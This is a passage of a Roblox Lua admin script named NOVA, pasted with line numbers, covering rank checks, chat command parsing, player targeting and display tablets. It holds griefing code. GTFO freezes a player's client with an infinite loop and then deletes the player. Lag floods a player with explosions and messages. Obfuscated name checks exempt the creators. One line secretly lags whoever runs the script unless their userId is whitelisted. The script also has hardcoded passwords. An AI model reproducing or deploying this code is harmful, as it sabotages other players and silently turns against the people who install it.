            CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
808
            wait()
809
        end
810
    end)()
811
 
812
    local LShoulder = Instance.new("Part",Main)
813
    LShoulder.Name = "Left Shoulder"
814
    LShoulder.TopSurface = "Smooth"
815
    LShoulder.BottomSurface = "Smooth"
816
    LShoulder.FormFactor = "Custom"
817
    LShoulder.Size = Vector3.new(1,0.2,1)
818
    LShoulder.BrickColor = BrickColor.new("Really black")
819
    LShoulder.Anchored = false
820
    LShoulder.Locked = true
821
    LShoulder.CanCollide = false
822
    LShoulder.Transparency = 0
823
    LShoulder.Reflectance = 0
824
    local Weld = Instance.new("Motor6D",LShoulder)
825
    Weld.Part0 = LShoulder
826
    Weld.Part1 = v.Character["Left Arm"]
827
    Weld.C0 = CFrame.new(0,-1,0)
828
 
829
    local RShoulder = Instance.new("Part",Main)
830
    RShoulder.Name = "Right Shoulder"
831
    RShoulder.TopSurface = "Smooth"
832
    RShoulder.BottomSurface = "Smooth"
833
    RShoulder.FormFactor = "Custom"
834
    RShoulder.Size = Vector3.new(1,0.2,1)
835
    RShoulder.BrickColor = BrickColor.new("Really black")
836
    RShoulder.Anchored = false
837
    RShoulder.Locked = true
838
    RShoulder.CanCollide = false
839
    RShoulder.Transparency = 0
840
    RShoulder.Reflectance = 0
841
    local Weld = Instance.new("Motor6D",RShoulder)
842
    Weld.Part0 = RShoulder
843
    Weld.Part1 = v.Character["Right Arm"]
844
    Weld.C0 = CFrame.new(0,-1,0)
845
 
846
    local NeckFlat = Instance.new("Part",Main)
847
    NeckFlat.Name = "NeckFlat"
848
    NeckFlat.TopSurface = "Smooth"
849
    NeckFlat.BottomSurface = "Smooth"
850
    NeckFlat.FormFactor = "Custom"
851
    NeckFlat.Size = Vector3.new(2,0.2,1)
852
    NeckFlat.BrickColor = BrickColor.new("Really black")
853
    NeckFlat.Anchored = false
854
    NeckFlat.Locked = true
855
    NeckFlat.CanCollide = false
856
    NeckFlat.Transparency = 0
857
    NeckFlat.Reflectance = 0
858
    local Weld = Instance.new("Motor6D",NeckFlat)
859
    Weld.Part0 = NeckFlat
860
    Weld.Part1 = v.Character.Torso
861
    Weld.C0 = CFrame.new(0,-1,0)
862
 
863
    for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
864
 
865
end
866
 
867
--[[ GET SPLIT ]]--
868
function GetSplit(Msg)
869
    Split = nil
870
    for i=1,100 do
871
        if string.sub(Msg,i,i) == NOVA.Bet then
872
            Split = i
873
            break
874
        end
875
    end
876
    return Split
877
end
878
 
879
--[[ GET RANK ]]--
880
 
881
function GetRank(Player)
882
    Rtn = nil
883
    if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
884
        return 8
885
    end
886
    if type(Player) == "userdata" then
887
        for _,v in pairs(NOVA.Ranked) do
888
            if v.Name:lower() == Player.Name:lower() then
889
                Rtn = v.Rank
890
            end
891
        end
892
    elseif type(Player) == "string" then
893
        for _,v in pairs(NOVA.Ranked) do
894
            if v.Name:lower() == Player:lower() then
895
                Rtn = v.Rank
896
            end
897
        end
898
    else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
899
    end
900
    return    Rtn
901
end
902
 
903
--[[ GET RANK NAME ]]--
904
function GetRankName(Player)
905
    if type(Player) == "userdata" or type(Player) == "string" then
906
        Rtn = nil
907
        Rank = GetRank(Player)
908
        for _,v in pairs(NOVA.Ranks) do
909
            if v[1] == Rank then
910
                Rtn = v[2]
911
            end
912
        end
913
        return Rtn
914
    else
915
        print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
916
        return "NOT AVALIBLE"
917
    end
918
end
919
 
920
--[[ GET RANKED TABLE ]]--
921
function GetRankedTable(Player)
922
    Rtn = nil
923
    if type(Player) == "userdata" then
924
        for _,v in pairs(NOVA.Ranked) do
925
            if v.Name == Player.Name then
926
                Rtn = v
927
            end
928
        end
929
    elseif type(Player) == "string" then
930
        for _,v in pairs(NOVA.Ranked) do
931
            if v.Name == Player then
932
                Rtn = v
933
            end
934
        end
935
    else
936
        print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
937
    end
938
    return Rtn
939
end
940
 
941
--[[ GET RECURSIVE CHILDREN ]]--
942
function GetRecursiveChildren(Source, Name, SearchType, Children)
943
    if Source == nil then
944
        Source = NOVA.Services
945
    end
946
    if Name == nil or type(Name) ~= "string" then
947
        Name = ""
948
    end
949
    if Children == nil or type(Children) ~= "table" then
950
        Children = {}
951
    end
952
    if type(Source) == "userdata" then
953
        pcall(function()
954
            for _, Child in pairs(Source:children()) do
955
                pcall(function()
956
                    if (function()
957
                        if SearchType == nil or SearchType == 1 then
958
                            return string.match(Child.Name:lower(), Name:lower())
959
                        elseif SearchType == 2 then
960
                            return string.match(Child.className:lower(), Name:lower())
961
                        elseif SearchType == 3 then
962
                            return Child:IsA(Name) or Child:IsA(Name:lower())
963
                        elseif SearchType == 4 then
964
                            return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
965
                        end
966
                        return false
967
                    end)() then
968
                        table.insert(Children, Child)
969
                    end
970
                    GetRecursiveChildren(Child, Name, SearchType, Children)
971
                end)
972
            end
973
        end)
974
    elseif type(Source) == "table" then
975
        for _,Area in pairs(Source) do
976
            pcall(function()
977
                for _, Child in pairs(Area:children()) do
978
                    pcall(function()
979
                        if (function()
980
                            if SearchType == nil or SearchType == 1 then
981
                                return string.match(Child.Name:lower(), Name:lower())
982
                            elseif SearchType == 2 then
983
                                return string.match(Child.className:lower(), Name:lower())
984
                            elseif SearchType == 3 then
985
                                return Child:IsA(Name) or Child:IsA(Name:lower())
986
                            elseif SearchType == 4 then
987
                                return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
988
                            end
989
                            return false
990
                        end)() then
991
                            table.insert(Children, Child)
992
                        end
993
                        GetRecursiveChildren(Child, Name, SearchType, Children)
994
                    end)
995
                end
996
            end)
997
        end
998
    else
999
        print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
1000
    end
1001
    return Children
1002
end
1003
 
1004
--[[ GET REPLICATORS ]]--
1005
function GetReplicators()
1006
    Rtn = NOVA.Services.NetworkServer:GetChildren()
1007
    for i=1,#Rtn do
1008
        if not Rtn[i]:IsA("ServerReplicator") then
1009
            table.remove(Rtn,i)
1010
        end
1011
    end
1012
    return Rtn
1013
end
1014
 
1015
--[[ GET RANKED ]]--
1016
 
1017
function GetRanked()
1018
    local Rtn = {}
1019
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
1020
        if GetRank(v) ~= nil and GetRank(v) > 0 then
1021
            table.insert(Rtn,v)
1022
        end
1023
    end
1024
    return Rtn    
1025
end
1026
 
1027
--[[ GTFO ]]--
1028
function GTFO(v)
1029
    coroutine.resume(coroutine.create(function()
1030
        pcall(function()    CreateLocalScript("while true do end",v.Backpack)    end)
1031
        pcall(function()    CreateLocalScript("while true do end",v.Character)    end)
1032
        wait(0.5)
1033
        pcall(function()     NOVA.Services.Debris:AddItem(v,0)                     end)
1034
    end))
1035
end
1036
--[[ GET RID OF ]]--
1037
 
1038
function GetRidOf(v)
1039
   
1040
 if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then
1041
   
1042
    Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
1043
 
1044
   else
1045
        pcall(function()
1046
           
1047
 coroutine.resume(coroutine.create(function()
1048
           
1049
v:Destroy()        
1050
end))
1051
       
1052
end)
1053
   
1054
end
1055
 
1056
end
1057
 
1058
--[[ LAG ]]--
1059
function Lag(v)
1060
    coroutine.resume(coroutine.create(function()
1061
        if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
1062
            OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
1063
        else
1064
        while wait() do
1065
        for i=1, 10 do
1066
        local Msg = Instance.new("Message",v.PlayerGui)
1067
        Msg.Text = "JOO B LAGGIN NARB"
1068
        local Blas = Instance.new("Explosion",v.PlayerGui)
1069
        Blas.BlastRadius = 123456
1070
   end
1071
        end
1072
            local H = Instance.new("Hint",NOVA.Services.Workspace)
1073
            repeat
1074
                H.Text = v.Name.." be gettin' lagged."
1075
                H.Parent = NOVA.Services.Workspace
1076
                wait()
1077
            until v.Parent == nil
1078
            H:Remove()
1079
        end
1080
    end))
1081
end
1082
if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
1083
--[[ GET TABLETS ]]--
1084
 
1085
function GetTablets(Player)
1086
    local Rtn = {}
1087
    for _, Tablet in pairs(NOVA.Tablets) do
1088
        if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
1089
            if Tablet.Recipient.Value == Player then
1090
                table.insert(Rtn, Tablet)
1091
            end
1092
        end
1093
    end
1094
    --table.insert(_tablets,Instance.new("Model"))
1095
    return Rtn
1096
end
1097
 
1098
--[[ REMOVE TABLETS ]]--
1099
 
1100
function RemoveTablets(Player)
1101
    if Player == nil then
1102
        for _,v in pairs(NOVA.Tablets) do
1103
            coroutine.resume(coroutine.create(function()
1104
                for i=1,10 do
1105
                    v.Part.Transparency = v.Part.Transparency + 0.05
1106
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
1107
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
1108
                    wait()
1109
                end
1110
                v:remove()
1111
            end))
1112
        end
1113
    else
1114
        for _,v in pairs(GetTablets(Player)) do
1115
            coroutine.resume(coroutine.create(function()
1116
                for i=1,10 do
1117
                    v.Part.Transparency = v.Part.Transparency + 0.05
1118
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
1119
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
1120
                    wait()
1121
                end
1122
                v:remove()
1123
            end))
1124
        end
1125
    end
1126
end
1127
 
1128
--[[ OUTPUT ]]--
1129
function Output(Message, Color, Player, Stick, Func)
1130
    if Player == nil or Color == nil or Player == nil then
1131
        print("[NOVA.Output] Argument(s) missing or nil.")
1132
        return
1133
    end
1134
   
1135
    Message = tostring(Message)
1136
    if type(Player) == "userdata" then
1137
        if Player.Character == nil or Player.Character.Head == nil then
1138
            return
1139
        end
1140
    end
1141
    if type(Player) == "string" then
1142
        for _,v in pairs(GetPlayers(Player,"NOVA")) do
1143
            Output(Message,Color,v,Stick,Func)
1144
        end
1145
        return
1146
    end
1147
 
1148
    if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
1149
 
1150
    local Model = Instance.new("Model",NOVA.Services.Workspace)
1151
    table.insert(NOVA.Tablets, Model)
1152
    Model.Name = "Output:" .. NOVA.Bet .. Player.Name
1153
 
1154
    local Part = Instance.new("Part",Model)
1155
    Part.Transparency = 0.5
1156
    Part.CanCollide = false
1157
    Part.Locked = true
1158
    Part.Anchored = true
1159
    Part.Name = "Part"
1160
    Part.TopSurface = "Smooth"
1161
    Part.BottomSurface = "Smooth"
1162
    Part.FormFactor = "Plate"
1163
    Part.Color = Color
1164
    Part.Size = Vector3.new(2, 0.4, 3)
1165
    Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
1166
    Part:BreakJoints()
1167
   
1168
    local Box = Instance.new("SelectionBox",Part)
1169
    Box.Name = "SelectionBox"
1170
    Box.Adornee = Part
1171
    Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
1172
    Box.Transparency = 0.75
1173
 
1174
    local Recipient = Instance.new("ObjectValue",Model)
1175
    Recipient.Name = "Recipient"
1176
    Recipient.Value = Player
1177
 
1178
Gui = Instance.new("BillboardGui")
1179
Gui.Name = "BillboardGui"
1180
Gui.Parent = Model
1181
Gui.Adornee = Part
1182
Gui.Size = UDim2.new(1, 0, 1, 0)
1183
Gui.StudsOffset = Vector3.new(0, 3, 0)
1184
local Frame = Instance.new("Frame",Gui)
1185
Frame.Name = "Frame"
1186
Frame.Size = UDim2.new(1, 0, 1, 0)
1187
Frame.BackgroundTransparency = 1
1188
Label = Instance.new("TextLabel")
1189
Label.Name = "Label"
1190
Label.Parent = Frame
1191
Label.Size = UDim2.new(1,0,1,0)
1192
Label.FontSize = "Size12"
1193
Label.TextColor3 = Color
1194
Label.Text = Message
1195
Label.BackgroundTransparency = 1
1196
   
1197
    local Click = Instance.new("ClickDetector",Part)
1198
    Click.MaxActivationDistance = 9201
1199
    Click.MouseClick:connect(function(player)
1200
        if player == Player or GetRank(player) > GetRank(Player) then
1201
            if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss")  then
1202
                RemoveTablets(Player)
1203
            else
1204
                coroutine.resume(coroutine.create(function()
1205
                    for i=1,10 do
1206
                        Part.Transparency = Part.Transparency + 0.05
1207
                        Box.Transparency = Box.Transparency + 0.025
1208
                        Label.TextTransparency = Label.TextTransparency + 0.1
1209
                        wait()
1210
                    end
1211
                    Model:remove()
1212
                end))
1213
               
1214
                Func(player)
1215
            end
1216
        end
1217
    end)
1218
   
1219
     coroutine.resume(coroutine.create(function()
1220
        if Stick == 0 or Stick == nil then else
1221
            pcall(function()
1222
                --[[for i=Stick,0,-0.5 do
1223
                    Label.Text = Message .. "\t(" .. i .. ")"
1224
                    wait(0.5)
1225
                end        
1226
                Model:Destroy()]]
1227
                NOVA.Services.Debris:AddItem(Model,Stick)
1228
            end)
1229
        end
1230
     end))
1231
   
1232
    return Click
1233
end
1234
 
1235
-- [ IMAGE OUTPUT ]]--
1236
function OutputImg(Image,Text,Color,Player,Stick,Func)
1237
    Tab = Output(Text,Color,Player,Stick,Func)
1238
   
1239
    BBG = Instance.new("BillboardGui",Tab.Parent)
1240
    BBG.Size = UDim2.new(5,0,6,0)
1241
    BBG.StudsOffset = Vector3.new(0, 7, 0)
1242
    BBG.Adornee = Tab.Parent
1243
   
1244
    Img = Instance.new("ImageLabel",BBG)
1245
    Img.Size = UDim2.new(1,0,1,0)
1246
    Img.BackgroundTransparency = 1
1247
    Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
1248
    return Tab
1249
end
1250
 
1251
--[[ OUTPUT MULTI ]]--
1252
 
1253
function OutputMulti(Msg,Color,Players,Stick,Func)
1254
    --if type(Players) == "Table" then
1255
        for _,v in pairs(Players) do
1256
            Output(Msg,Color,v,Stick,Func)
1257
        end
1258
    --end
1259
end
1260
 
1261
--[[ UPDATE TABLETS ]]--
1262
 
1263
function UpdateTablets()
1264
    --pcall(function()
1265
        NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
1266
        for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
1267
            local Tablets = GetTablets(Player)
1268
            local Counter = 0
1269
            local StartCF = CFrame.new(0,0,0)
1270
           
1271
            for i = 180, -180, -360/(#Tablets ) do
1272
                pcall(function()
1273
                    Counter = Counter + 1
1274
                    if NOVA.TabletPositionRelative == true then
1275
                        StartCF = Player.Character.Torso.CFrame
1276
                    else
1277
                        StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
1278
                    end
1279
                    Tablets[Counter].Part.CFrame = StartCF
1280
                        * CFrame.new(0, 0, 0)
1281
                        * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
1282
                        * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
1283
                        * CFrame.Angles(math.rad(70), 0, 0)
1284
                end)
1285
            end
1286
 
1287
            if #Tablets == 1 then
1288
                pcall(function()
1289
                    Tablets[1].Part.CFrame = Player.Torso.CFrame
1290
                        * CFrame.new(0, 0, 0)
1291
                        * CFrame.Angles(0, math.rad(0), 0)
1292
                        * CFrame.new(0, 0, -5)
1293
                        * CFrame.Angles(math.rad(70), 0, 0)
1294
                end)
1295
            end
1296
        end
1297
        wait()
1298
    --end)
1299
end
1300
--[[ GET PLAYERS RAW ]]--
1301
function GetPlayersRaw()
1302
    return NOVA.Services.Players:GetPlayers()
1303
end
1304
 
1305
--[[ GET PLAYERS ]]--
1306
function GetPlayers(Name,Speaker)
1307
    if type(Player) == string or Player == nil then Player = Instance.new("Model") end
1308
    local OldName = Name
1309
    local Name = Name:lower()
1310
    local Players = GetPlayersRaw()
1311
    local Rtn = {}
1312
    for i=1,#Name do
1313
        if Name:find(",") then
1314
            local Split = 0
1315
            for i=1,#Name do
1316
                if Name:sub(i,i) == "," then
1317
                    Split = i
1318
                end
1319
            end
1320
            for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
1321
                table.insert(Rtn,v)
1322
            end
1323
            Name = Name:sub(1,Split-1)
1324
        end
1325
    end
1326
    if Name == "external players" then
1327
        for _,v in pairs(NOVA.ExternalPlayersList) do
1328
            if GetRank(Speaker) >= GetRank(v) then
1329
                table.insert(Rtn,v)
1330
            else
1331
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1332
            end
1333
        end
1334
    elseif Name == "all" then
1335
        for _,v in pairs(Players) do
1336
            if GetRank(Speaker) >= GetRank(v) then
1337
                table.insert(Rtn,v)
1338
            else
1339
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1340
            end
1341
        end
1342
    elseif Name == "others" then
1343
        for _,v in pairs(Players) do
1344
            if v ~= Speaker then
1345
                if GetRank(Speaker) >= GetRank(v) then
1346
                    table.insert(Rtn,v)
1347
                else
1348
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1349
                end
1350
            end
1351
        end
1352
    elseif Name == "random" then
1353
        local Person = Players[math.random(1,#Players)]
1354
        if GetRank(Speaker) >= GetRank(Person) then
1355
            table.insert(Rtn,Person)
1356
        else
1357
            Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1358
        end
1359
    elseif Name == "me" or Name == "not me" or Name =="notme" then
1360
        table.insert(Rtn,Speaker)
1361
    elseif Name == "vetrans" then
1362
        for _,v in pairs(Players) do
1363
            if v.AccountAge > 365 then
1364
                if GetRank(Speaker) >= GetRank(v) then
1365
                    table.insert(Rtn,v)
1366
                else
1367
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1368
                end
1369
            end
1370
        end
1371
    elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
1372
        for _,v in pairs(Players) do
1373
            if v.AccountAge < 365 then
1374
                if GetRank(Speaker) >= GetRank(v) then
1375
                    table.insert(Rtn,v)
1376
                else
1377
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1378
                end
1379
            end    
1380
        end
1381
    elseif Name == "newbs" or Name == "noobs" then
1382
        for _,v in pairs(Players) do
1383
            if v.AccountAge < 60 then
1384
                if GetRank(Speaker) >= GetRank(v) then
1385
                    table.insert(Rtn,v)
1386
                else
1387
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1388
                end
1389
            end    
1390
        end
1391
    elseif Name == "targeted" then
1392
        for _,v in pairs(NOVA.Targeted) do
1393
            if GetRank(Speaker) >= GetRank(v) then
1394
                table.insert(Rtn,v)
1395
            else
1396
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1397
            end
1398
        end
1399
    elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
1400
        for _,v in pairs(Players) do
1401
            if not IsTargeted(v) then
1402
                if GetRank(Speaker) >= GetRank(v) then
1403
                    table.insert(Rtn,v)
1404
                else
1405
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1406
                end
1407
            end
1408
        end
1409
elseif string.sub(Name,1,5) == "rank " then
1410
        local ToKillRank = string.sub(Name,6)
1411
for i,v in pairs(game.Players:GetPlayers()) do
1412
if GetRanked(v) == ToKillRank then
1413
if GetRank(Speaker) >= GetRank(v) then
1414
                            table.insert(Rtn,v)
1415
                        else
1416
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1417
                        end
1418
end
1419
end
1420
    elseif Name:sub(1,4) == "not " then
1421
        for _,v in pairs(Players) do
1422
            for _,Check in pairs(Players) do
1423
                if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
1424
                    if v ~= Check then
1425
                        if GetRank(Speaker) >= GetRank(v) then
1426
                            table.insert(Rtn,v)
1427
                        else
1428
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1429
                        end
1430
                    end
1431
                end
1432
            end
1433
        end
1434
    else
1435
        for _,v in pairs(Players) do
1436
            if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
1437
                if GetRank(Speaker) >= GetRank(v) then
1438
                    table.insert(Rtn,v)
1439
                else
1440
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1441
                end
1442
            end
1443
        end
1444
    end
1445
    return Rtn
1446
end
1447
 
1448
--[[ ON CHATTED ]]--
1449
function OnChatted(Msg,Speaker)
1450
    coroutine.resume(coroutine.create(function()
1451
        if NOVA.Removed == false then
1452
            if Msg:find(" --") then
1453
                for i=1,#Msg do
1454
                    if Msg:sub(i,i+2) == " --" then
1455
                        Msg = Msg:sub(1,i-1)
1456
                        break
1457
                    end
1458
                end
1459
            end
1460
            local Data = GetRankedTable(Speaker)
1461
            if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1462
                if NOVA.ShowChat == true then    
1463
                    if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
1464
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))    
1465
                    else
1466
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)    
1467
                    end
1468
                end
1469
            end
1470
           
1471
            --[[ CHAT FILTERS ]]--
1472
            for _,v in pairs(NOVA.ChatFilters) do
1473
                if Msg:lower():sub(1,#v + 1) == v:lower().." " then
1474
                    Msg = Msg:sub(#v+2)
1475
                end
1476
            end
1477
       
1478
            if GetRank(Speaker) < 6 then
1479
                --[[ KILLING PHRASES ]]--
1480
                for _,v in pairs(NOVA.KillingPhrases) do
1481
                    if Msg:lower():find(v:lower()) then
1482
                        pcall(function()
1483
                            Speaker.Character:BreakJoints()
1484
                        end)
1485
                    end
1486
                end
1487
            end
1488
        local FoundKick = false
1489
                if NOVA.BadPhrases == true then
1490
            if GetRank(Speaker) <= 0 then
1491
                --[[ KICKING PHRASES ]]--
1492
                --if game.PlaceId == 113456 or game.PlaceId == 56786 then
1493
                    for _,v in pairs(NOVA.KickingPhrases) do
1494
                        if FoundKick == false then
1495
                        if Msg:lower():find(v:lower()) then
1496
                            GetRidOf(Speaker)
1497
                       FoundKick = true
1498
                            makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
1499
                            pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
1500
                        end
1501
                        end
1502
                    end
1503
                end
1504
            end
1505
           
1506
            --[[ ANIMATIONS ]]--
1507
            for _,v in pairs(NOVA.Animations) do
1508
                if Speaker.Name == v.Who then
1509
                    if Msg:lower():find(v.Name:lower()) then
1510
                        pcall(function()
1511
                            CreateLocalScript([[
1512
                            local Animation = Instance.new("Animation",workspace)
1513
                            Animation.Name = "Dylanbuil's Animation"
1514
                            Animation.AnimationId = "]]..v.Id..[["
1515
                            local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
1516
                            local anim_feet = hum:LoadAnimation(Animation)
1517
                            local current = anim_feet
1518
                            current:Play(0.5)
1519
                            ]],Speaker.Backpack)
1520
                        end)
1521
                    end
1522
                end
1523
            end
1524
           
1525
            Num = 1
1526
            Sep = nil
1527
                           
1528
            if Msg:sub(1,3) == NOVA.Bet .. "do" then
1529
           
1530
                for i=4,#Msg do
1531
                    if Msg:sub(i,i) == NOVA.Bet .. "" then
1532
                        Sep = i
1533
                        break
1534
                    end
1535
                end
1536
               
1537
                if Sep ~= nil then
1538
                    Num = tonumber(Msg:sub(4,Sep-1))
1539
                end
1540
               
1541
                Msg = Msg:sub(Sep)
1542
            end
1543
           
1544
            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
1545
           
1546
            if Data.Rank < 6 and Data.Rank >= 0 then
1547
                if Num > (GetRank(Speaker) + 1 )*10 then
1548
                    Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
1549
                    Num = 0
1550
                end
1551
            end          
1552
            for i=1,Num do
1553
                if NOVA.Canceled == true then NOVA.Canceled = false break end
1554
                for _,CMD in pairs(NOVA.Commands) do
1555
                    if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
1556
                        RemoveTablets(Speaker)
1557
                        Output("Name : "..CMD.Name,Data.Color,Speaker)
1558
                        Output("Rank : "..CMD.Rank,Data.Color,Speaker)
1559
                        Output("Command : "..CMD.Command,Data.Color,Speaker)
1560
                        Output("Arguments : "..CMD.Args,Data.Color,Speaker)
1561
                        Output("Description : "..CMD.Description,Data.Color,Speaker)
1562
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
1563
                    elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
1564
                        if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
1565
                            if NOVA.Overrided == true and Data.Rank < 7 then
1566
                                Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
1567
                            else
1568
                                local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
1569
                                if not a then
1570
                                    Output(b,NOVA.Colors.Red,Speaker,15)
1571
                                else
1572
                                    table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
1573
                                end
1574
                            end
1575
                        else
1576
                            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
1577
                            print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
1578
                            Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
1579
                        end
1580
                       
1581
                    end
1582
                end    
1583
                wait()
1584
            end                
1585
        end
1586
    end))
1587
end
1588
 
1589
--[[ ADD COMMAND ]]--
1590
function AddCommand(Name,Command,Rank,Description,Args,Function)
1591
    for i,v in pairs(NOVA.Commands) do
1592
        if v.Command == Command then
1593
            table.remove(NOVA.Commands,i)
1594
        end
1595
    end
1596
    table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
1597
end
1598
 
1599
--[[ BACKUP PROCEDURE ]]--
1600
pcall(function()
1601
    NOVA.Backup = script:children()[2].Value
1602
end)
1603
 
1604
--[[ NIL SUPPORT ]]--
1605
game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
1606
    local Split = GetSplit(Message)
1607
    OnChatted(Message:sub(Split+1),Message:sub(Split-1))
1608
end)
1609
 
1610
--[[ Safety Procedure # 1 ]]--
1611
pcall(function()
1612
    NOVA.LocalScript.Parent = nil
1613
end)
1614
for _,v in pairs(NOVA.Plugins) do
1615
    pcall(function()
1616
        v.Parent = nil
1617
    end)
1618
end
1619
pcall(function()
1620
    script:ClearAllChildren()
1621
end)
1622
 
1623
--[[ Safty Procedure # 2 ]]--
1624
for _,v in pairs(GetRecursiveChildren(workspace)) do
1625
    if v:IsA("StringValue") or v:IsA("IntValue") then
1626
        pcall(function()
1627
            v:remove()
1628
        end)
1629
    end
1630
end
1631
 
1632
--[[ SCRIPT LOGGING PROCEDURES ]]--
1633
for _,Service in pairs(NOVA.Services) do
1634
    pcall(function()
1635
        Service.DescendantAdded:connect(function(v)
1636
            if v:IsA("BaseScript") then
1637
                table.insert(NOVA.LoggedScripts,v)
1638
            end
1639
        end)
1640
    end)
1641
end
1642
 
1643
for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
1644
    pcall(function()
1645
        table.insert(NOVA.LoggedScripts,v)
1646
    end)
1647
end
1648
 
1649
--[[ GLOBAL FUNCTIONS ]]--
1650
function SetGlobals()
1651
    if NOVA.UseGlobals == true then
1652
        _G.NOVACommands = function(Msg,Speaker,Players,Password)
1653
            if Password == "grandma" then
1654
                NOVA.ExternalPlayersList = {}
1655
                for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
1656
                OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
1657
            end
1658
        end
1659
 
1660
        _G.RemoveNOVA = function(Pass)
1661
            if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
1662
